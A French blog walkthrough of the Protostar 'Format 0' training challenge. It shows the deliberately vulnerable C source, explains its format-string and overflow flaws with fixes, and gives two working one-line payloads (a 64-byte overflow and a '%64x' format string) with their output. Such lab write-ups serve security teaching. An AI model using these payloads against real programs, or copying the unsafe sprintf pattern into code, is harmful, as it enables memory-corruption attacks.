Protostar – Format 0

Aujourd’hui nous nous attaquons au challenge Format 0 de la VM protostar ( https://exploit-exercises.com/protostar/format0/ )

Examinons le code source du binaire à exploiter :

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);
  
  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}
heap 0

 

Le programme est faillible à l’adresse 13 : « sprintf(buffer, string); »  car on écrit directement la chaîne de caractère dans le buffer à l’aide de sprintf, pour éviter cette faille il aurait fallu remplacer la ligne 13 par « sprintf(buffer, »%s », string); »

Mais le programme aurait toujours une faille de type buffer overflow car sprintf ne vérifie pas que la chaîne copiée dans le buffer ai une taille inférieure à la taille du buffer , pour corriger ceci il aurait simplement fallu utiliser la fonction snprintf qui elle accepte une taille maximale donnée.

Nous pouvons donc exploiter ce buffer overflow de manière totalement classique en écrasant le buffer par 64 caractères et écrivant 0xdeadbeef dans la variable target :

user@protostar:/opt/protostar/bin$ ./format0 $(python -c "print('A'*64+'\xef\xbe\xad\xde')")
you have hit the target correctly 🙂
buffer overflow exploitation

Ça fonctionne ! Cependant ce n’est pas une format string comme l’annonce le nom du challenge, de plus les données entrées font plus de 10 octets contrairement à ce qui est dit dans la consigne.

Exploitons donc la même faille avec une format string pour que l’overflow fasse moins de 10 octets en écrivant 64 octets avec %64d :

user@protostar:/opt/protostar/bin$ ./format0 $(python -c "print('%64x'+'\xef\xbe\xad\xde')")
you have hit the target correctly 🙂
format string exploitation

Voilà ! On exploite toujours le binaire, mais cette fois ci avec moins de 10 octets comme demandé dans la consigne.

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée.